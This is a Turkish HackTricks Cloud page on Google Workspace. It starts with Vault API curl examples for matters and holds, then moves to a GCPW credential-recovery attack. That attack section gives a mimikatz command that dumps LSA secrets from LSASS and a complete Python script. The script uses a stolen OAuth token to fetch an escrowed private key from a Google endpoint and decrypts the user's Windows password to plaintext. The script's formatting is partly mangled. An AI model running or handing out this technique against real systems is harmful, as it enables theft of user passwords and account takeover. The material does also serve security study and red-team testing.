- Google Workspace Vault’taki bir Matter, belirli bir dava, soruşturma veya hukuki mesele ile ilgili tüm bilgileri organize eden ve gruplandıran bir konteynerdir. Bu, o belirli konu ile ilgili Holds, Searches ve Exports yönetimi için merkezi bir merkez olarak hizmet eder.
- Google Workspace Vault’taki bir Hold, belirli kullanıcılar veya gruplar üzerinde verilerin silinmesini veya değiştirilmesini önlemek için uygulanan bir koruma eylemidir. Holds, ilgili bilgilerin bir hukuki dava veya soruşturma süresince sağlam ve değiştirilmemiş kalmasını sağlar.
# List matters
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters?pageSize=10"
# Create matter
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"name": "Legal Case 2024",
"description": "Matter for the upcoming legal case involving XYZ Corp.",
"state": "OPEN"
}' \
"https://vault.googleapis.com/v1/matters"
# Get specific matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"
# List holds in a matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
Daha fazla API uç noktası belgelerde.
GCPW - Düz metin parolasını kurtarma
GCPW’yi kullanarak parolanın düz metnini kurtarmak için mimikatz kullanarak LSASS’dan şifrelenmiş parolayı dökmek mümkündür:
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
Sonra, resmi olduğu gibi Chrome-GCPW-<sid> şeklinde gizli anahtarı arayın:

Daha sonra, https://www.google.com/accounts/OAuthLogin kapsamına sahip bir erişim belirteci ile şifreyi çözmek için özel anahtarı talep etmek mümkündür:
Erişim belirteci, şifreli şifre ve kaynak kimliği verildiğinde şifreyi düz metin olarak elde etmek için script
```python import requests from base64 import b64decode from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSAdef get_decryption_key(access_token, resource_id): try:
Request to get the private key
response = requests.get( f“https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}“, headers={ “Authorization”: f“Bearer {access_token}“ } )
Check if the response is successful
if response.status_code == 200: private_key = response.json()[“base64PrivateKey”]
Properly format the RSA private key
private_key = f“—–BEGIN RSA PRIVATE KEY—–\n{private_key.strip()}\n—–END RSA PRIVATE KEY—–“ return private_key else: raise ValueError(f“Failed to retrieve private key: {response.text}“)
except requests.RequestException as e: print(f“Error occurred while requesting the private key: {e}“) return None
def decrypt_password(access_token, lsa_secret): try:
Obtain the private key using the resource_id
resource_id = lsa_secret[“resource_id”] encrypted_data = b64decode(lsa_secret[“encrypted_password”])
private_key_pem = get_decryption_key(access_token, resource_id) print(“Found private key:”) print(private_key_pem)
if private_key_pem is None: raise ValueError(“Unable to retrieve the private key.”)
Load the RSA private key
rsa_key = RSA.import_key(private_key_pem) key_size = int(rsa_key.size_in_bits() / 8)
Decrypt the encrypted data
cipher_rsa = PKCS1_OAEP.new(rsa_key) session_key = cipher_rsa.decrypt(encrypted_data[:key_size])
Extract the session key and other data from decrypted payload
session_header = session_key[:32] session_nonce = session_key[32:] mac = encrypted_data[-16:]
Decrypt the AES GCM data
aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)
print(“Decrypted Password:”, decrypted_password.decode(“utf-8”))
except Exception as e: print(f“Error occurred during decryption: {e}“)
CHANGE THIS INPUT DATA!
access_token = “<acces_token>”
lsa_secret = {
“encrypted_password”: “
decrypt_password(access_token, lsa_secret)
</details>
Bu bileşenlerin anahtar bileşenlerini Chromium kaynak kodunda bulmak mümkündür:
- API alanı: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- API uç noktası: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
## Referanslar
- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)
> [!TIP]
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>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
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>
> </details>
HackTricks Cloud

